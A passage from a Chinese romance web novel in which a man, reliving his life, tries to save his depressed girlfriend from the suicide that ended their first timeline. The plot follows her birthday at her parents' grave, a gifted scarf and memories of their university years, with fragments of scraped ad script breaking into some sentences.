况且姜可宁是很会迷惑人的,一点都不诚实,你根本不知道她会不会因为害怕偷偷哭,会不会因为想妈妈整夜地做梦睡不好觉,她说起来的时候从来都是轻描淡写,仿佛这些在她心里从来不是什么难熬的事。 谁能想到,她也只是一个十七岁的小姑娘而已,都说骗谁都骗不了自己,姜可宁的话会骗人,但是她的病就是最真实的写照。 抑郁症比宋枝年想象中要可怕很多很多,并不是像感冒吃药那样简单,也不是像伤心难过那样小心呵护就能好。 它更像一枚隐形的炸弹,平时积蓄着能量默不作声,待时机成熟,只需要一个小小的契机,比方说空旷的高处,比方说有弹性的绳索,比方说一块打碎的玻璃,任何可以触发生命警戒的东西对抑郁症患者来说都是一种诱惑,勾着他们逃离所有的痛苦。 宋枝年能理解,但是却无法接受,凭什么呢?该死的人那么多,凭什么就是她呢?姜可宁又凭什么认为他不能救她呢,凭什么认定自己好不了呢? 这些上辈子的宋枝年给不出答案,因为他来得太迟,亲身体验过一遍才知道,这个姑娘的生活在同龄人中每一天都是困难模式。 宋枝年在路上想了很多,没发现居然已经到了姜可宁舅舅家的楼下。 他停好车,姜可宁慢慢地起身,从宋枝年手里接过了书包,然后就站着。 宋枝年看得心都软了,他揉了揉姜可宁的头,“怎么了,姜可宁小朋友舍不得宋枝年了吗?” 宋枝年突然想起来,对于姜可宁来说,舅舅的家并不是她的家,寄人篱下的窘迫给她造成的伤害非常深远,他们工作两年后计划买房装修,宋枝年当时看上一块楼盘,价格不低,他并不打算让姜可宁出那一份钱。但是姜可宁非常坚持,怎么劝都不管用,一定要付那一半的首付,尽管付完那一半之后她的积蓄就所剩无几了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 也许对如今的姜可宁来说,短暂地获得宋枝年的关心后让她更不想回去面对那个虚伪的家了。姜可宁曾经也有虽然条件不好但视她若珍宝的父母,被爱过的人面对现实的恶意会更有落差。 “谢谢你。”姜可宁抬起头对他说。 宋枝年没有拒绝她的谢意,“嗯。” 姜可宁好像叹了一口气,非常纠结地说:“你对我很好,我…什么都没有,不知道要怎么谢你,以后…我会努力…” “不用。”宋枝年打断了她。 “我关心你是我的事情,我不用你努力去干什么,你只需要做姜可宁就好了,姜可宁要记住,只要做自己就可以,其他什么都不用管。好吗?” 姜可宁有些迷糊,总觉得面前的人好像近在咫尺又很遥远,“什么意思啊?” “简单来说,就是宋枝年非常喜欢姜可宁这个人,他也不是白白照顾姜可宁的,他需要姜可宁好好照顾好自己,能一直在宋枝年身边晃悠。” “懂了吗?”宋枝年捏了捏她的脸颊肉。 老旧的居民楼偶有野猫窜过,在地上印出一片黑影,那天有一只跑到姜可宁脚边,顺势躺了下来,蹭了蹭姜可宁的裤腿。 她回头看了看那个骑着山地车消失在小巷尽头的男生,昏黄的灯光把他的头发照得好像很柔软,外套被夜风随意地吹起。宋枝年就像这个秋末,吹散姜可宁心中无数枯叶的那一阵突如其来的、猛烈的、势不可挡的大风。 9. 第九章 26. 长大后的姜可宁其实是一个很懂得爱自己的人,她会通过很多小事情让自己的生活变得充盈起来。 比如路过花店买一束花,然后搭配合适颜色的花瓶;比如每周五下班给自己买个小蛋糕,晚上坐在宋枝年旁边边看电影边吃;比如热衷于给宋枝年搭配衣服,给宋枝年买很多种颜色和款式的围巾。 就是这么鲜活的种种,让宋枝年根本没有怀疑姜可宁的精神世界正在崩塌。 姜可宁虽然喜欢吃蛋糕,但从来不过生日,宋枝年曾经想给她过,姜可宁也很给面子地参与了全过程,但宋枝年看得出来,她并不高兴,后来宋枝年发现她生日那天会特别想她去世的父母。 姜可宁的生日在十一月末,父母在十二月初,即将迎来新年之际,即将迎来举世瞩目的北京奥运会之际,永远地离开了年幼的女儿。 姜可宁最后一个开心的生日是在父母离世前一个月过的,据她自己的回忆,那个时候她想吃栗子味的蛋糕,但是妈妈那天下班晚了,栗子味的蛋糕卖完了,就买了别的口味的,她当时还闹脾气了,说生日就是要吃最喜欢的蛋糕,许的愿才作数。是她爸爸跟她拉钩了,说下一次一定给她买栗子味的蛋糕,姜可宁才乖乖地吹蜡烛许愿。 但是没有下次了,总之,后来姜可宁也买过很多次蛋糕,什么口味的都有,唯独没有栗子味的。 27. 这天是个周六,宋枝年和宋枝月在家给爸妈找文件送到公司。 “不是,妈你放哪了,我们找不到啊。”宋枝月对着开着免提的手机喊。 “妈,你这文件都没顺序的啊,多成这样怎么找。”宋枝年在一叠厚厚的打印纸里一份一份地翻。 “你看日期啊,首页有日期,十一月二十。” “哦,好,我看看。”宋枝年说。 十一月二十。十一月二十。宋枝年翻着翻着,脑中的一根神经好像突然跳动了一下。 “妈,今天几号?” “二十二号呀。” “我!靠!” “找到啦?” “没,妈你让姐帮你找吧,我有急事。” “诶!你这孩子!” 宋枝月在旁边笑笑:“哎呦呦,有急事,嘿嘿,你死定了吧,我今天有发短信跟可宁说生日快乐。” “你还跟她发短信?她都没跟我发过短信。”宋枝年感觉自己受到了某种冲击。 “菜就多练!” 28. 宋枝年有些犹豫,他知道姜可宁并不喜欢过生日,他在犹豫是要像上辈子那样,顺着她的意,把这天当作平常的一天揭过去呢,还是直面她不愿提起的悲伤,让她不要再对过生日有所抵触呢? 宋枝年想着,车已经骑到了姜可宁家楼下,他还没有得出答案,上一世的结局实在太惊心动魄,他无法评估哪一种能让姜可宁心里更舒服一点,对于宋枝年来说,让十七岁的姜可宁产生哪怕多一点点的难过,都会成为引爆炸弹的隐患。 但这一天,他没有在姜可宁楼下等到她,宋枝年拨了十几个电话,都没有人接,情急之下宋枝年按了她舅舅家的门铃,应该是她表姐接的,说姜可宁出门了,不知道去哪。 那天下午,宋枝年骑着变速车,几乎快绕了全城,学校、公园、后来姜可宁喜欢去逛的艺术馆、花店、蛋糕店。全都没有。 一种极大的恐惧笼罩着他,二十八岁的宋枝年,只要姜可宁连续三个电话不接就会开始心慌发冷汗。从前的姜可宁不是没有失联过,一共两次,一次是在家吞药,不省人事了,另一次是自己一个人跑去海边,在石头上坐了一整晚。 每次这种时候,宋枝年都认为姜可宁是个超级无敌大骗子,是一个养不熟的白眼狼,是姜可宁先喜欢的宋枝年,然后又毫不费劲地让宋枝年爱上她,得到了就开始惩罚宋枝年,成天地让宋枝年提心吊胆,最后姜可宁就不要宋枝年了。 宋枝年在第二次找不到姜可宁的时候崩溃了,在海边把吹了一整晚风的姜可宁抱得很紧,像是要融化在她身上,然后向她控诉:“凭什么?凭什么你可以说不要就不要,这是你一个人的感情吗?我不是人吗?我不会痛吗?你不是说爱我吗,不是喜欢我吗,就不能为了我吗?” “我求你,求你,就算是为了我,活下去吧,求求你了。” 如果放在年少时的宋枝年身上,他肯定不会想到自己以后会说出这样的话,会变成一个因为感情痛哭流涕的人,会因为一个人心碎得像真的要裂开一样。 但是有什么办法呢?爱之所以令人着迷又令人受伤,就是因为失控的特性,失控的快乐,失控的痛苦。 所以并没有什么不同,十八岁的宋枝年还是轻而易举爱上了姜可宁,即便知道可能面临失控的痛苦。 29. 宋枝年实在找无可找,又骑回姜可宁家楼下,就在他已经想打电话报警的时候,手机响了,是姜可宁的号码。 宋枝年双手颤抖地接起来,拜托拜托,一定不要是别人的声音。 “宋枝年?” “……嗯。” “怎么了?” “没。” “出什么事了,你在哭吗?” “不是。” 宋枝年捂住听筒平复了几秒,“你在哪里,把地址发给我。” “不用不用,我马上回去了。刚刚没接电话,对不起。” “把地址发给我。” “你不用过来了,我已经在路上了。” “你别动,地址给我。” “……好吧。” 30. 宋枝年按着姜可宁给的地址找过去,是一个有点远的郊区公墓。 他也不清楚,为什么一定要让姜可宁把地址给他,就是有一种直觉,宋枝年必须真正走近姜可宁内心最深处的地方,让她真正地能够放下不安,从内里打败过去,强大起来。 宋枝年到的时候已经是傍晚,月亮在灰蓝色的天空中融合成一副静谧的油画,并不是特殊的节日,人只有稀少的几个,宋枝年很快就看到姜可宁,她双手抱住膝盖,坐在父母的墓碑前,像是冷色调油画中一个孤独的身影。 一个人在每年自己出生的日子,孤独地缅怀着世界上爱过自己又无故消失的父母,宋枝年很了解姜可宁,她一定在许愿:“爸爸妈妈,我很想你们,把我也带走吧。” 她不愿意过生日,因为她无法面对着宋枝年许下如此残忍的愿望。 但宋枝年是很厉害的人,宋枝年会帮姜可宁,不管她在哪里,宋枝年都会把她捞出来。 “姜可宁。” 姜可宁寻着声音看过去的时候,即将消失在天空尽头的最后一抹夕阳毫不吝啬地照在宋枝年身上,姜可宁突然发现自己还挺喜欢十一月的,喜欢秋风把他风衣吹起的一角,喜欢照在他身上看着就很温暖的夕阳,喜欢他喊自己名字的声音。 “嗯。”姜可宁应了一声。她其实没有跟别人说过自己已经没有爸爸妈妈了的事情,本来以为在这个地方见到宋枝年会有些难受,但也还好。 她坐着仰视宋枝年,宋枝年弯了弯腰,又揉揉她的头,姜可宁发现他好像很喜欢揉自己的头。 秋风温柔地吹过,扬起姜可宁散着的头发,奇怪地,她好像能听见风的声音,心脏砰砰砰地跳,眼眶也有点泛酸。 她看见宋枝年从身后拿出一个绑着粉色丝带的盒子。 “栗子蛋糕。”宋枝年说。 “生日快乐,姜可宁,生日就是要吃最喜欢的蛋糕,许的愿才灵。” 仅仅一瞬间,姜可宁听到这句话的一瞬,她再也忍不住了,她把头埋进膝盖,任由眼泪流出来。 宋枝年其实很少见到姜可宁哭,或者姜可宁从不当着他的面哭,上辈子的姜可宁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已经将最深层的自己完全封闭起来,连对着最爱的人都不能彻底放下戒备,像是有棍棒架在她的脖颈上,让她必须保持体面的坚强。 宋枝年蹲下来,轻轻拍着姜可宁的后背,过了一会儿,姜可宁吸了吸鼻子,抬起头。 “宋枝年。”她的声音带着哭腔。 “嗯。我在啊。”宋枝年说。 “我在做梦吗?”姜可宁问。 “当然不,宋枝年是真的,比什么都真。”宋枝年说。 “那你是怎么知道我爱吃栗子蛋糕的,我只跟爸爸妈妈说过。”姜可宁说。 宋枝年弯了弯嘴角,“因为我很了解你啊。” “嗯?”姜可宁歪了歪头。 宋枝年又笑了,他本来想说,因为我是你爸爸妈妈派来的,但是这有点哄骗的成分了。 所以宋枝年换成了,“因为我一直暗恋你啊,你不知道吧,我们这种暗恋的人,就是会全方面了解自己喜欢的人,随时准备出现在她身边。” 31. 那天的最后,姜可宁靠在宋枝年的肩膀上哭累了,睡着了。 宋枝年仔细瞧了瞧墓碑上姜可宁去世的父母,瞧了瞧他两辈子都未曾谋面的生下姜可宁的人。 姜可宁脸型跟妈妈长得很像,五官更像爸爸一点。宋枝年伸出手指擦了擦黑白照片上的灰,跟他们道了一个歉,对不起,上辈子让姜可宁还那么年轻就见到你们了。 宋枝年低头看了一眼靠在自己肩膀上的小姑娘,然后在心里非常郑重地对她的父母许下承诺—— “叔叔阿姨好,我叫宋枝年,如果不出意外的话,我应该是姜可宁未来要相伴一生的人,我知道你们很爱她,我也很爱她,你们不要担心,有我在,我一定会好好照顾姜可宁,把她当成生命中最重要的人。” 32. 宋枝年:“生日许了什么愿望啊?” 姜可宁:“不能说的。” 宋枝年:“啊…好难过啊,我都给你买栗子蛋糕了。” 姜可宁:“你难过我也不能说的。” 宋枝年:“完了,要心梗了,你能不能对我们暗恋的人好一点,我们是高敏感人群好吗,一不小心就会闷在被子里偷偷哭的。” 姜可宁:“真的吗?你在哄我吧。” 宋枝年:“对啊,我在哄你啊,我不只今天哄你,未来的二十年我都包了。” 姜可宁:“为什么是二十年?” 宋枝年:“我也不是那么便宜的,要看你表现的,表现得好可以免费续约。” 姜可宁:“这样啊,那你要我怎么表现。” 宋枝年:“这可难了,嗯……陪我过二十八岁的生日。” 姜可宁:“这有什么难的?” 宋枝年:“不难吗?还有啊,我有点恐高,去不了高的地方,但是我对高的地方很好奇,嫉妒心又很强,所以你也不能去高的地方,不然我心理会很不平衡。” 姜可宁:“你恐高吗?我记得你之前跳过伞呀。” 宋枝年:“对,就这种危险的,试一次我就恐高了。答应我嘛,你还没答应我。” 姜可宁:“嗯,我也不喜欢太高的地方。” 宋枝年:“诶,你怎么知道我跳过伞的?” 姜可宁:“没有。” 宋枝年:“什么没有,明明就有嘛,诶,怎么走了。” 宋枝年:“还不能告诉我你许了什么愿望吗,说出来我能帮你实现哦。” 姜可宁:“你已经帮我实现很多愿望了。” 宋枝年:“那再多一个也没关系啊,这可是十八岁的愿望,要记一辈子的。” 姜可宁:“嗯,你不是让我陪你过二十八岁生日吗,等那天我可以告诉你。” 宋枝年:“怎么还要那么久啊,好吧,那我就等着,宋枝年什么都没有,就是时间特别多,耐心也特别多。” 10. 第十章 33. 周一早上,姜可宁很早地在家楼下等宋枝年。 宋枝年平常都比姜可宁下楼的时间提前十几分钟。 从前上大学的时候,他们两个同个学院,偶尔会抽到同一节通识课程或者同一门专业选修课。 大课的位置蛮难占的,当时两人还没有在一起,宋枝年偶尔会在上课前给姜可宁,让她帮忙占一下后排的位置,一来二去,好像就成了不用刻意提起的约定。 谁先到教室就帮对方占一个座。宋枝年也不好意思每次都让女孩子帮忙占座,每次都想着提早一点到教室,提早十分钟,姜可宁已经到了,提早十五分钟,姜可宁已经到了,有一次甚至宋枝年八点到院系办公楼交材料,交完直接去的教室,九点半的课,当时他进大教室的时候课室的电脑都还没有打开,但是姜可宁就在后排的位置坐着。 那次宋枝年才发现,他们每次坐的都是同一个位置。 姜可宁就是这样,在某些方面坚持得几乎可以算做固执,就像宋枝年非常清楚,如果后来他没有喜欢上姜可宁,没有通过种种细节发现姜可宁暗恋他,没有主动地说要在一起。那么她默默的付出,苦涩地喜欢一个人那么久,这些事情都会被她烂在肚子里,宋枝年永远没办法知道。 这天宋枝年看到姜可宁的时候,她的书包背在胸前,手放进里面好像在专注地抚平什么东西。 宋枝年敲了敲山地车车头上的铃铛,清脆的响声让姜可宁立刻抬起头,像一只受惊的小兔子。 “做什么坏事呢?姜可宁小朋友。” 姜可宁没有说话,很小心地从书包里拿出一条雾霾蓝色的围巾。 “没有做坏事,这是给你的。” 宋枝年接了过来,摸了摸被姜可宁放在书包里捂得有点温度的围巾。他知道姜可宁高中的时候几乎没有多余的零用钱,所以她并没有办法在这么短的时间内凑够买一条质感非常好的羊绒围巾的钱。 “为什么给我这个?”宋枝年还在看着那条围巾,总感觉有些莫名的熟悉,他一定见过。 姜可宁像是纠结了很久,“这段时间,你真的帮助我很多,载我上学,载我放学,陪我一起吃饭,给我买栗子蛋糕,陪我过生日,我很谢谢你,我不知道有什么可以给你,这条围巾,我拿到之后一次都没有戴过,还是新的。” “送给你,如果你不喜欢…” “怎么会,我很喜欢。”宋枝年没有犹豫就把叠得齐齐整整的围巾拆开往脖子上套。 他想起来了,姜可宁的爸爸会下围棋,从小自己教着姜可宁学,这是她在小学时参加围棋比赛获奖之后,爸爸为了奖励女儿,花了身上的几百块现金在专卖店给姜可宁买了这条围巾。 在后来的很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多年,姜可宁买过很多条雾霾蓝色的围巾,但这一条,连宋枝年都只见过一次。 在姜可宁第一次自杀出院之后,那天她让宋枝年从衣柜里翻出这条围巾,然后在晚上十点的时候,穿着外套,戴着这条看起来柔软舒适的围巾在阳台上抽了整整半包烟。 姜可宁不知道什么时候开始抽烟的,等到宋枝年发现的时候,已经有点难戒掉了,大部分的时间,他都由着姜可宁,只要她心里舒服一些,宋枝年不会约束她太多。 从前的宋枝年其实并不懂姜可宁是一个怎样的人,姜可宁曾告诉他,觉得自己越来越跟这个世界没有联系了。 所以在死里逃生的夜晚,姜可宁是否也在努力,努力找寻自己活下去的理由,努力说服自己在这个世界上留有千丝万缕的牵挂,所以她才会在回家的第一时间翻出宋枝年所知道的,父母留给她的唯一的能当作念想的东西。 姜可宁从来没有放弃过自己,如果以前宋枝年能做得更好一点,更早一点明白这个爱得很辛苦的傻子,说不定会不一样。 宋枝年感受着羊绒围巾在自己身上逐渐扩散热量。心里突然有一些莫名的不安。 “姜可宁,围巾我很喜欢,但是以后,最喜欢的东西要先留给自己,知道吗?” “我知道这条围巾对你很重要,我会好好保管的,谢谢姜可宁。”宋枝年说。 11. 第十一章 34. 这天晚上宋枝年做了一个噩梦,他梦见姜可宁的舅舅和舅妈找到家里。揪着他的领子质问,好好的人怎么说没就没了。 梦里面姜可宁的舅舅一家好像非常疼爱她,撕心裂肺地真心为侄女去世痛哭哀嚎,一遍一遍地问宋枝年。 “好好的一个人,怎么跟了你,就成了这个结局。” “你要不要脸啊?把人家养得好好的姑娘祸害成这样?” “可宁最近几年都没回过家,是不是你逼的,是不是你?” 宋枝年麻木地听着,没有反驳,慢慢地,梦里面她舅舅舅妈的脸就变成了,宋枝年刚看过的,姜可宁生父生母的样子。 在看清她父亲母亲的一瞬,宋枝年在梦里感受到一种近乎绝望的痛苦,胃部突然有些突突的跳痛,然后梦境就陷入一阵灰色的泥泞,被揉碎了。 宋枝年惊醒的时候眼睛旁边连带着枕头都是湿的,他开了灯到浴室洗了个澡。 雾气缭绕中,宋枝年无意识地攥紧了拳头,脑中浮现出从前的很多个场景。 他没有问过姜可宁为什么喜欢自己,是因为什么事情暗恋自己的。 在宋枝年的世界里,或者说是他的上一世,除了姜可宁,他没有什么能感到遗憾的地方。相爱的父母、优越美满的家庭、陪伴着一起长大的姐姐、讲义气的朋友、不错的成绩、欣赏他的导师,最后加上一些运气加持,好像从来宋枝年想要什么,都能毫不费力地得到,所以他对什么都很自信,像是有花不完的勇气。生活对他来说是一种纯粹的体验,走几步能获得成就感,拐个弯就能收获爱。 所以宋枝年眼中的世界和姜可宁眼中的根本不是一个样,他毫无顾忌地得到外界的爱和善意,当然也没有包袱地付出自己的爱。他并不知道,这些他认为的理所应当,对姜可宁来说是怎样的困难,要面对怎样的犹豫和纠结,她要怎样说服自己,向前一步吧,宋枝年跟其他人不一样。 也许是那条围巾,让宋枝年想起很多,想起很多被他忽略过的细节。 35. 大学一年级冬训的时候,恰逢广州进入雨季,在小雨里踢正步是常有的事,偶尔雨越下越大,实在没办法再训了,教官会原地解散,让大家回宿舍。 宋枝年当时所在的方阵是国旗班,据他的印象,跟姜可宁在的旗语方阵距离并不近。但是在那次宋枝年刚好忘记带伞,身上被细细密密的雨点淋湿的时候,姜可宁不知道从哪个方向毫无预兆地出现了。 而当时对宋枝年来说,他们仅有过一面之缘。 姜可宁也非常自然,她先是撑着一把透明雨伞,直直地从宋枝年旁边走过,正当他想着主动喊一下姜可宁的名字,打个招呼的时候。 她很生硬地突然抬头,对上宋枝年的视线,雨点追逐着落在宋枝年的军装雨靴上,水珠跟黑色皮革相撞发出闷闷的声音。 姜可宁握伞握得很紧,手指上苍白的皮肤紧攥着伞柄,接触的地方硌得有些发红。 “要不要一起撑?”她开口问了宋枝年。 不是“你没带伞吗?”,不是“用不用借你”,而是,“要不要一起。” 大二的时候,同乡会聚餐,当时是个大热天,宋枝年没什么兴趣就只去了个末尾,在黏黏糊糊什么气味都有的小饭馆,在那张油腻的大圆桌一角,宋枝年看见了安静地待在位置上一言不发,只是听着旁边动静的姜可宁,她好像一直盯着面前那盘没有怎么动的虾球,也不动筷子,也不跟旁边的人说话。 大学的姜可宁好像比高中要更孤僻一些,就是这样一个不像是会参加聚餐的人,会出现在全是陌生人的酒桌;就是这样一个只会用发呆掩饰尴尬和局促的人,会在听到别人喊宋枝年名字的时候蓦然抬头,把全部的眼神放在宋枝年身上。 大三,大家都开始择校准备考研的时候,宋枝年的父亲宋羽给他推荐了一位同专业的教授,是在英国的研究所,宋枝年并没有出国的打算,但父母有这个意愿,也不是不能去,他当时也没有特别理想的去向。 当天下午,宋枝年几个同在大学城的朋友约他到学校附近一个咖啡馆聊天。 秋天、热气腾腾的咖啡、若有似无的甜点香气会大大刺激人的表达欲。 正当朋友说到做小组作业的一系列奇葩事件,准备把恶心的大学同学拉出来喷一顿的时候。宋枝年突然有些走神,眼睛往咖啡馆的点单处瞥扫过去。 他真的没有想到,会在这里碰上姜可宁,说实话他第一时间有些心虚,很快移开了眼神。按照宋枝年当时对姜可宁的了解,他认为,姜可宁大概不会想在自己打工的店里遇上同学。 后来朋友们还聊到马院的老师个个都是极品,事情多到离谱给分还低,具体是什么事情宋枝年也好像听不清楚了,他好像有些不安,想往那边再看一眼又不太敢。 但那次的姜可宁好像跟以前不太一样,在宋枝年不知道第几次在抿咖啡的时候装作不经意往那边看的时候,姜可宁走过来了,拿着一个黑色的金属咖啡壶和一两个他不认识的工具,非常专业地帮他们这一桌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 续了个杯。 结束的时候,姜可宁朝他弯了弯嘴角,笑了一下。 那天晚上,宋枝年宿舍里的其他人因为这样那样的活动和个人生活,都在校外留宿,四人间只有宋枝年一人,他洗完澡走出来,刚准备回复教授的邮件。 啪的一下,漆黑一片,宿舍停电了,因为他回来的路上不记得充电卡。笔记本电脑泛着盈盈蓝光,一分钟之后,因为电量耗尽自动关机了。 宋枝年从来不信什么征兆,但他后来确实没有回复那封邮件,出国的事就这样搁下了。 36. 只是非常遗憾,从前的宋枝年不懂得姜可宁。不懂得对她来说,递过一把雨中的伞、参加一次不想去的聚会、主动地在喜欢的人面前大方展示自己,已经是何等的真挚和勇敢。 当时的她已经独自一人往宋枝年旁边走了很多步,宋枝年自以为是地用社交法则保持着跟姜可宁自然舒适的关系,却让她辛苦地怀抱着无处安放的感情等了很久。 当时的姜可宁会不会很疑惑,为什么已经这么努力了,那个人还是一眼都看不见我。 不会。 姜可宁只会认为:唉,果然是这样,我跟他差距太大了,他怎样都看不见我的。 这种想法持续到两人在一起之后,姜可宁从不从心里认为两个人的感情能走到最后,所以也许这段恋爱也成为姜可宁消耗自己的来源,因为不相信自己能得到永恒的爱。 连爸爸妈妈都会一声不吭离开她,她凭什么相信一无所有的她能得到另一个人无条件的爱? 37. 宋枝年醒来之后一整晚都没有再睡着,他害怕重现那个梦。 在六点的闹钟响起的时候,宋枝年没忍住给姜可宁打了电话。 宋枝年:“早上好。” 姜可宁愣了愣才说话:“早,怎么了吗?” 宋枝年:“没有,我等会儿会去接你上学。” 姜可宁好像在收拾书包,他听见拉书包拉链的声音,这个家伙一定是熬夜学习到自己睡着了。 姜可宁:“嗯,我知道的呀。” 宋枝年:“哦。” 姜可宁:“我觉得,你好像有事想说。” 宋枝年:“没有啊,我就是突然想你了,你要理解,这个世界上有人一睡醒,就想给你打电话。” 姜可宁:“……” 宋枝年隔着电话听见她的呼吸声,笑了一下,“你要理解,这个世界上有人要是一天没有见到你,就会有点难过。” 12. 第十二章 38. 在姜可宁和宋枝年在一起之后的家中,有一个类似于室内帐篷的东西,是姜可宁布置的,里面放了一条柔软的羊绒毯,高度合适的靠枕,她偶尔喜欢在里面翻一翻爱看的小说。有时候宋枝年也会跟她一起挤在里面拿着平板看电影。 在姜可宁病重的时候,那个小帐篷是她唯一能够勉强入睡的地方。 刚开始,他并不能理解为什么要在家里安这么一个有点违和有点占地的帐篷,但姜可宁好像对这个帐篷非常满意,时不时就会披着头发穿着睡衣钻到里面去,爱屋及乌,他偶尔也觉得好像是要比房间里的大床更有情调一点。 很久以后,宋枝年才真正意识到这个姜可宁创造的一方天地对于她来说是绵长记忆中无数次的渴望。 姜可宁是在充满爱中的环境下出生的,父母虽然算不上宽裕,但对女儿很是慷慨,小公主经历磨难变成大杀四方的女王是童话故事。失去庇护伞的姜可宁只会在与世界打交道的过程中,留下一道一道触目惊心的伤痕。 在这其中,寄人篱下的苦楚对她的阴影非常大,以至于面对着毫无保留付出爱的宋枝年,她都没办法感觉到绝对的安全,需要在家里造出另外一个小家,把自己保护起来。 姜可宁确实毕业后一次都没有回过她舅舅家,但宋枝年知道她每年都有给家里转钱。 姜可宁这个人,发烧烧到三十九度说自己有点困,肚子疼得受不了说自己有点累,如果她哪天说出类似于,我不太舒服,那就是已经很严重了。 关于借住在亲戚家这件事,对她来说是心里过不去的坎,而像类似的这种坎,横七竖八地围在姜可宁心里,渐渐地生出根系,霸占了她生命的位置。 寄人篱下是种什么滋味呢,据姜可宁承受不住坏情绪时的少许描述。大概是被表姐弄坏作业本时不敢声张的隐忍;大概是在取得好成绩时被阴阳怪气克父母没前途时的失措;大概是在不小心打碎东西时被警告再有下次就滚出这个家的无尽恐惧。 39. 吃早饭的时候,宋枝年忧虑了很久,放着姜可宁继续受到其他人的伤害让他实在坐立难安。 就像一件好不容易熨烫平整的名贵西装,没有位置挂着,只能叠起来放进拥挤的柜子,从合上柜门的一刻,便开始为下次拿出来会不会皱得没法看而担忧。 宋枝年没发现自己对着一碗白粥发了两分钟的呆,直到宋枝月从楼上下来,在他面前用手指叩了叩餐桌。 “想什么呢?”宋枝月把外套拉链拉到了最顶端,头发还没扎,整个人一副睡不醒的样子。 宋枝年:“姐,如果你在一个地方待得不开心,你会怎么办?” 宋枝月几乎没有思考,“走啊。” 宋枝年:“如果走不了呢?” 宋枝月笑了:“不是,这个世道了,又不是大清,有皇帝逼着诛九族。哪有什么走不了的地方。” 宋枝年:“那如果是家里呢,比如说,哪天爸妈很久不回家,然后我对你很差,害你在家里过得不舒服,你怎么办。” 宋枝月:“这个嘛,好办多了,放心弟弟,不会有这种事情发生,我会先你一步把你逼得离家出走。” 宋枝年:“……” 宋枝月:“哎呀好啦!怎么啊,姜可宁怎么了吗?” 宋枝年:“……” 宋枝月:“干嘛用这种眼神看我,你忘记双胞胎是有心灵感应的吗?” 宋枝年:“别蹭,我们是异卵双胞胎。” 宋枝月:“那咋了,我还不愿意跟你一起细胞分裂呢!” 宋枝年:“我有跟你说过我是认真的吧。” 宋枝月:“嗯。你说过了,我不只是要追她~我以后还要娶她~” 宋枝月:“21世纪有你这种恋爱脑大傻子也是实在难得了,我感觉现在把你挂到网上说不定能评个濒危物种。” 宋枝年:“我以前怎么没发现你念书的时候这么欠儿呢?” 宋枝月:“自己战斗力弱就人身攻击,我还觉得你最近没以前好玩了呢。” 宋枝月:“好了到底什么事,你快到点出发载老婆了。” “唉,嫁出去的弟弟泼出去的水啊~” 宋枝年:“如果我说,我想把她从她家里接出来,你觉得怎么样。” “她在家里非常不开心,我确定。” “我没有任何不好的想法,我保证。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “我就是为了她开心,就这一个目的,我发誓。” 宋枝月:“你等等、等等,先别急,我拿个手机把你这请战书录下来发给爸妈。” 宋枝年彻底服了。聊半天进度为零。 40. 其实他自己在这想也没用,得看姜可宁自己的意愿,她又是一万个不愿意麻烦别人的人。 一个人如果太长时间想得到什么东西就必须付出很大的力气,那她就再也不能放心地接受了。 姜可宁今天又在楼下等宋枝年,他远远的看见她用一只手提着什么,一只手扯着书包带,正用鞋尖一下一下踢着小石子,清晨的带点雾气的阳光照在她身上,把这个人笼得暖洋洋。 宋枝年骑着车,在临近她的时候减了速,穿过一棵大树的时候不小心被垂下来的树叶碰了碰头发,然后稳稳地骑进了那一片被光照到的地方。 “怎么又不听话,为什么一定要先下来等我,我等等你不行吗?”宋枝年看着她,有些无奈地说。 来载她上学本来就是想着让她能多睡会儿,怎么现在搞得还要起更早似的。 姜可宁固执地摇了摇头,“我等你也可以的。” 宋枝年笑了,拗不过这姑娘,他只想抱一抱她,非常非常想。 所以宋枝年从山地车上下来,抬起手臂松松地抱了一下姜可宁,熟悉的气味融进呼吸里,让宋枝年久违地感觉到安宁,像是从松软的泥土里一下踩在坚实的地面,踏实许多。 姜可宁被他突如其来的拥抱怔住了,手僵硬地垂在两侧。 “姜可宁,你相信我吗?”宋枝年声音有点低地问。 过了一会儿,宋枝年听到一句,“嗯嗯,信的。” 他在心里叹了一口气,上辈子的你也是这么说的,小骗子。 宋枝年不知道现在做的一切到底有没有作用,还需要怎么做,才能让姜可宁在以后想离开这个世界的时候,想起来自己的人生还有一些温暖和爱。宋枝年从来不是把感情放在嘴上说的人,他只是害怕来不及。 41. “那你可以记住一件事吗?” “什么啊?” “宋枝年有点离不开姜可宁了。” 13. 第十三章 42. 附中致力于让学生爱上学习,所以把力气都使到别的地方,比如课间食堂会推出西米露或者炸鸡排之类的下午茶,比如晚自习下课会有炒米粉炸丸子,比如小卖部会有店主阿姨自制的气泡水,爱上学习的第一步是爱上学校。 这就是为什么附中虽然在一众重点高中里虽然实绩一般,但口碑断崖式地稳居第一。这些给学生提升幸福度的种种举措,让附中的学生普遍关系融洽,课余生活丰富。 可这些能在枯燥学习中感受到别样青春的瞬间,通通与姜可宁无关。十七岁的姜可宁,要为自己一筹莫展的大学学费苦恼,要精打细算每天在学校搭配出的最便宜的吃饭组合。明明家里还有人,过得却像个留守儿童。 姜可宁又是很多事情都会往心里去的人,好的坏的都是,她曾说过高二时的班主任曾经送给她一本练习册;放假在餐饮店打工的时候老板最后一天结工资会多给一百块钱;打电话提醒她手机快欠费了的客服会给她推荐最实惠的套餐。 是,好的坏的都会记得,好的会时不时拎出来说,坏的她就只藏在心里,好像藏得够久够深就不存在一样。 那天下午,宋枝年趁着课间到了文科九班,最近他来得很频繁,每次来都找姜可宁,有很多人眼熟他。 宋枝年拍了拍后排同学的肩膀,“可以帮我叫一下姜可宁吗?” “诶,姜可宁,有人找!” 不只一人往门口回了头,宋枝年能看见那个披散着一头齐肩短发,拿着诗词本正在背的姜可宁看过来时,眼里闪过一些平时没有的光彩。 